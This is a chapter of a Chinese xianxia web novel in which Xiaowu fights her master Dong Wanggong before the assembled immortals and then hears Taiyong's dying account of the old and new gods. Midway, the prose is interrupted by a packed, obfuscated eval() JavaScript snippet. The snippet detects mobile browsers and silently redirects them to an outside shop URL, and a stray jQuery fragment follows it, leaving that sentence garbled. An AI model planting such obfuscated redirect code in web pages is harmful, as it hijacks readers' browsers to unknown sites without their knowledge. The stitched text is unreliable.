东王公却并未责怪小五的无礼,只是叹息:“傲儿,有些事你不会明白的。”
小五双目中已蓄满莹莹泪水:“那师父可以和我解释吗?”
东王公闭上眼,似乎逃避看到小五的神情。
小五的泪水终于落下来,哀切道:“师父,我们不要管这些了好不好?我们回昆仑山。师父,以你我之力,这里谁又能阻得了我们?”
东王公哀叹了一声:“傲儿,那太慵呢,你又是如何看待她的选择,如今你是不是还要带她走?”
小五的神色慢慢冷下来:“所以师父,你是不愿意吗?”
“小五,不要孩子气。”
小五的泪迹干涸在冰冷的脸颊,她久久望着东王公,一言不发。
直到,小五嘴角僵硬的弧度慢慢上扬,她环顾一圈四周,不动声色地挡在了太慵身前。
太慵还在值符手中,始终沉默,但背脊挺直,眸光坚毅。小五手下丑陋的仙怪和天界的霞光、云彩格格不入,但他们都不知所畏地站在这里。
此时,风吹过小五在无尽之焰中烧得干枯的头发,她的神情如剑照寒水:“既然如此,我想我和师父已经这么久没遇到了,不如就在今日切磋一下,由师父好好检查一下我的修炼成果吧。”
“傲儿,你决意要和师父翻脸了是吗?”
“还有其他办法吗,师父?”
东王公闭了闭眼:“既然如此,来吧。”
小五却在这时突然道:“不过我有两个要求,对天帝以及在场众位仙家的要求。”
天帝薄怒道:“你还有什么要求?”
小五:“第一,我和师父对战之时,在场的所有仙家生灵不可以乘人之危伤害太慵。第二···”
“第二什么?”众仙家等着小五继续说,却只见缥缈的云雾中,小五慢慢伸出骨节纤细的右手,在空中打了个响指。
“啪——”
众仙家反应过来时,那批身在云中的仙怪已经不见了。众仙家均是大吃一惊,连天帝看向小五的眼神也微微变色:“你掌握了变化寰宇的力量。”
“是。”小五答,她确实通过“荒服”,把这里所有的仙怪转移走了,他们现在不定在天界的哪个角落里。小五让他们做的事到此为止,之后他们就可以自行下界了。小五:“这第二件事,我已经做了,他们不需要参与我和师父,以及你们的战斗。”
天帝微微蹙眉,对此无可无不可,但众仙家却并没有要答应小五第一个条件的意思:小五太诡计多端,让人防不胜防,他们不敢轻易许诺。
小五看起来早预料到了这一情况,她青袖一挥,周围的云雾沉沉下坠,其中多出了许多银白——竟是从金乌墓中得来的水银。
“你要做什么?”已经有仙家认出来那云层中的东西,喝问道。
小五慢慢掀开双眸,眸光如滴了血的冰,冷清而邪气:“若你们当真伤了太慵,我会立即释放无尽之焰,待水银蒸腾后大家一起同归于尽。诸位修为深厚,确实不至于伤重不治,但修为也一定会大为受损了。”
小五这个疯丫头,如此惨无人性,竟然用这么恶劣的手段威胁他们,而且对于此等恶贼的威胁他们又不得不信。众仙一时都往后退了退,同意了小五不伤太慵的要求。
小五见他们神情恐惧,在这样一触即发的战场里,她不知为何竟想起了李玦在墓中为死亡而痛苦的画面。李玦如果看到了现在的场面,他会不会对自己有那么一丝厌恶:用这种恶毒的手段做威胁。毕竟小五记得李玦为之痛苦的那几个人就是水银中毒而死的。
真是古怪,小五停止了继续想下去。本来自己袒露收他们为徒的目的,他们应该也不会像从前那样毫无芥蒂了,又何必庸人自扰地想这些,小五从前可从不在乎在别人眼里自己是什么样的。
不过此时众仙也听出来了,既然水银已布,这也就意味着只要太慵无事,小五在与东王公的对战,甚或之后和其余众仙对战之中,都不会使用无尽之焰,这是小五为了太慵对他们做出的让步。
小五在与东王公的比试中没有用到任何诡计,甚至之后几年小五从古籍中学到的新法术都没有用,只是单纯比拼过去从东王公处所学到的本事。
战斗一触即发,众仙只见云雾之上,一紫一青交替出现,身影幢幢,说是比拼领教,但由于两位战力过于强劲锋利,每个擦肩而过的招式都极为凶险,却又毫无意外地被对方躲过。
此时众仙心中都越发纳罕,东王公是数万年的古神,修为如何不言而喻。可沉傲这个不过活了千年的徒弟,修为战力竟也已到了如此地步,实在恐怖。
战了数百回合,三十三重天被无数次撕裂又聚拢,两位的身周都出现了蒸腾的白雾,仿佛数万公斤的水被沸腾着。战斗已进入白热化,这是纯粹的修为比拼。
气流微撼,时间已不知过了多久,小五逐渐力不从心。小五和东王公单纯比拼修为完全是在扬短避长,毕竟积累修为再吃天赋和勤奋,也需要时间的累积。
小五才千岁,她的年纪刚好横跨了新旧神争斗的时间。
小五周身气脉不顺,却是胸口一窒,嘴里有点腥味的甜,血顺着嘴角溢出来。之前与犼对战、以血解封的伤也在此时适时地破裂开,血液浸透了她的衣衫,她已赤裸裸成了血人。
沸腾的白雾渐渐染成苍茫的血色。
此时任谁看只怕也会觉得小五要输了,只小五自己身在漩涡之中还未曾察觉,心中仍破口大骂:这伤口早不裂晚不裂,这下先丢了一半的气焰。
可这口气不能泄,绝不能泄!
血被吞了回去,她咬紧牙关,气由丹田起,暴烈地传至全身筋脉。“砰——”爆发式的一击!
世界静止了。
小五看到所有仙怪生灵的目光都集中在她的身后,连与她对战的师父都是。
师父的嘴角好像也溢出了血,她有些担心师父的伤,但又很高兴,她一击命中了。
可是,怎么会这么安静?为什么没有人说话呢?她突然就有点不敢回头了,好像一回头,梦魇的开关就要打开……
小五回头时,太慵静静站在原处,朝她招了招手。小五想,自己真是多虑了,到底在担心些什么,可她的身体却完全顾不上还在和师父比拼,几乎是连滚带爬地飞奔到太慵身边。
太慵十分冷静地握住小五的手,神情几乎是肃穆的,语调清晰平静:“小五,我与你说一些事。”
“好,你说。”小五说,出口时才发现自己的声音在微微颤抖。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772385|205691||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“小五,我知道你对我一直执着为新神付出一切这件事,嘴上不说心里也是有疑惑的。但今日我要告诉你,新旧之争不是单纯的派系之争,即便表面上的新神被消灭,他们也会不断从旧神中产生。”
太慵说着似乎是若有若无地冷笑了一声:“哪有什么新旧之争,统统都是新神罢了。既然选择像凡人一样为了名利权位去争,他们就已经不是你师父东王公所需要的那种旧神了。
东王公固执地去追求旧神,追求只有职责没有欲望的神,这必然会失败。真正的从信仰中生出的旧神早已归融于天地之间了,这是旧神自己的选择。
世间万物是永远在变化的,没有恒定不变的东西。神被欲望被情感所浸染是必然之势,旧神失去了人心的供养快要被万物彻底淘汰了。我们如今所做的一切、新旧之神的争夺又难道不是被贪嗔痴、被欲望所驱使?
我说不清这种必然之势是好是坏,但无论好事坏事,想让天界凡间安泰就需要去顺应它,就不能一成不变,就要去改变天法,去用天法约束神仙。百年前我对天法的改动侵犯了天帝的权力威望,才会发生当时对你们的牵连。”
太慵那么温和那么镇定,她轻轻抚弄着小五的头发,这一刻,小五不单觉得什么事都没发生,甚至觉得她们一起回到了一百年前。太慵生机勃勃,欲望勃勃,像大开着花的山茶树,风雨催之不倒,花亦不落。
“你想让我做什么?”小五听见自己问,她好像将自己游离了出去,静静地看着另一个无所知觉的自己与百年前的太慵对话。
“我想让你好好活着,帮我做好我未尽的事。”
“什么是未尽的事?”
“旧神老去,新神被欲望驱使,没有天法的约束,终将给天地带来无穷的灾难。我想你可以帮我给这个世界带来光明。”
“好。”小五听到自己答,可这本不该是她现在想要应承的,她根本就不在乎什么天地的灾难、世界的光明,她现在痛苦紧张得要发疯,她只希望她的大姐姐好好活着。
太慵释然地微微一笑,她说:“小傲,你知道吗?我们七个本就是神的欲望和罪孽,天神将我们从身体里分离了出去,就以为自己可以无欲无求,高枕无忧了。才不是呢,欲望是无穷无尽的,是不断滋生的,不加以管制,只是压抑和强行分离是没有用的。
我们小的时候因为身为罪孽一直被孤立歧视,受了多少苦。说是把我们送给师父教养,其实是当时没办法杀掉我们,怕杀死了我们,欲望又会回到它原本所在的身体里,所以把我们交给厉害的天神去管禁。可我们也不想被分离出来啊,我宁愿从未身在这个世上。”
太慵的瞳孔已经开始涣散,她说起了很久以前的事,她们姐妹七个确实是天生天养的,却并不如小七说的那般是什么吉兆,而是从被分离出的欲望中滋生的罪孽。
欲望被分离出的神成了旧神,没有分离欲望的神做为新神。
而她们曾经历过一段非常糟心晦暗的孩童时期,所幸,后来管禁她们的师父大多对她们不错。但本为了管禁的师父和真正教诲徒儿的师父终有不同,而她们也不曾在其他神仙那里获得过半分友善的对待,哪怕是名义上的师兄弟。
这里的一切都如此悲怆凄然。